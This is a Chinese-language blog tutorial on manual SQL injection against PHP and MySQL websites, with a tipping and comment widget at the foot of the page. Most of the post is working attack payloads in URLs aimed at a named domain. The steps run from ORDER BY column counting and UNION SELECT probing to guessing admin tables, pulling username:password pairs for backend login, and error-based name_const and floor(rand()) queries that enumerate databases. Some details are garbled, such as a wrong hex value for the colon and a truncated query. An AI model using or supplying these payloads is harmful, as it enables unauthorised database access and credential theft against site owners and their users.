php+mysql+手工暴库_PHP+MySQL环境下的SQL手工注入教程

1)检测是否存在注入点

假设我们现在有形如http://www.pengoz.cn/news.php?id=5的URL,现在我们在URL后面添加单引号“ ‘ ”(英文输入法的单引号—CCOz注),则URL变成了http://www.pengoz.cn/news.php?id=5′

如果得到了一些错误信息形如“error in sql syntax,check the manual … ”等等,那就意味着你找到注入点了!(在中国,可能不显错,只是页面产生变化,结论同—CCOz注)

2)如何确定数据库字段数

我们用order by 确定字段数。

那么,如何使用这个order by?我们只要增加后面的数字直至数据库报错为止。

构造URL如下:

http://www.pengoz.cn/news.php?id=5 order by 1/* ←无错,返回正常

http://www.pengoz.cn/news.php?id=5 order by 2/* ←无错,返回正常

http://www.pengoz.cn/news.php?id=5 order by 3/* ←无错,返回正常

http://www.pengoz.cn/news.php?id=5 order by 4/* ←网站报错,形如“this unknown column ’4‘ in ‘order clause’”或类似情况。

这意味着网站的字段数是3,因为我们试到4的时候报错了。

注意:URL后面一定要有注释符,这对我们的查询能顺利进行很重要,当使用“/*”报错时可以试试“–”两者作用相同。

3)检验union select

使用union select 我们可以获取到更多有用信息。URL形如:

http://www.pengoz.cn/news.php?id=5 union all select 1,2,3/*(我们在第二步中已经确定字段数为3)

如果我们在屏幕上看到一些数字如1或2或3(0除外—CCOz注)则union select可用.

4)检验SQL版本

假设数字2出现在屏幕上,现在我们把2替换成查询数据库版本的语句@@version或version(),屏幕上原来是2的位置就会变成形如“5.0.13-shandard”或“4.1.33-log”的版本号。此时URL构造如下:

http://www.pengoz.cn/news.php?id=5 union all select 1,@@version,3/*

果你未得到版本号,二是得到形如“union +illegal mix of collations

(TMPLICIT+COVERCIBLE)….”的错误–我并未见到其他教程中提及此问题过,所以在这里我必须写出来引以为戒–我们此时需要的是

convert()函数,构造URL如下:

http://www.pengoz.cn/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

或者使用hex()和unhex()函数,构造URL如下:

http://www.pengoz.cn/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*然后你就会得到MySQL版本了

5)获取表名和和列名

当MySQL版本小于5时(如4.1.33,4.1.12…)–后面我将阐述版本号大于5时的情况–我们必须猜解表名与列名

常用的表名有:

user/s,admin/s,member/s…

常用的列明有:

username,user,usr,user_name,password,pass,passwrd,passwd,pwd…

猜解表名时URL构造如下:

http://www.pengoz.cn/news.php?id=5 union all select 1,2,3 from admin/*

如果我们看到屏幕和显示使用使用union all select 时一样的话(本例中屏幕显示2)时,则存在admin表,这很不错:D

现在我们猜解admin表中的列名。

构造URL如下:

http://www.pengoz.cn/news.php?id=5 union all select 1,username,3from admin/*(如果报错了,就换个列名继续猜解).我们会看到屏幕上出现用户名,形如admin ,superadmin,等等…

现在,我们来检验是否存在password列,URL构造如下:

http://www.pengoz.cn/news.php?id=5 union all select 1,password,3 from admin/*(如果报错而不显示密码,则换个列名猜解)

我们会在屏幕上看到明文密码或密码的hash值,这取决于数据库的设置。

加密方式如:md5 hash , MySQL hash ,sha1…

现在我们要补充完整查询语句以便看起来美观……

URL:http://www.pengoz.cn/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin/*

注意我放在里面的0×3a,那是冒号的16进制值。

还有另一种方法,使用char(58)代替0×8a–毛好的ASCII码。

此时URL成为http://www.pengoz.cn/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

现在我们可以看到屏幕上出现形如admin:password或admin:12345abcde的账号密码值。

当你得到这些后,你可以以管理员或者超级管理员的身份登陆后台

如果你实在猜解不出表名和列名,你可以试试mysql.user(默认值),默认存在user和password列。

URL:http://www.pengoz.cn/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.

Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功

小部分版本使用name_const()时会报错.可以用给出的方法.2测试

查询版本:

方法1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+

join+(select+name_const(@@version,0))b)c)

方法2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro

up by a)b)

查询当前用户:

方法1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)

方法2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r

and(0)*2))x+from+information_schema.tables+group+by+x)a)

查询当前数据库:

方法1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)

方法2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo

or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

依次爆库

LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n

顺序替换

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值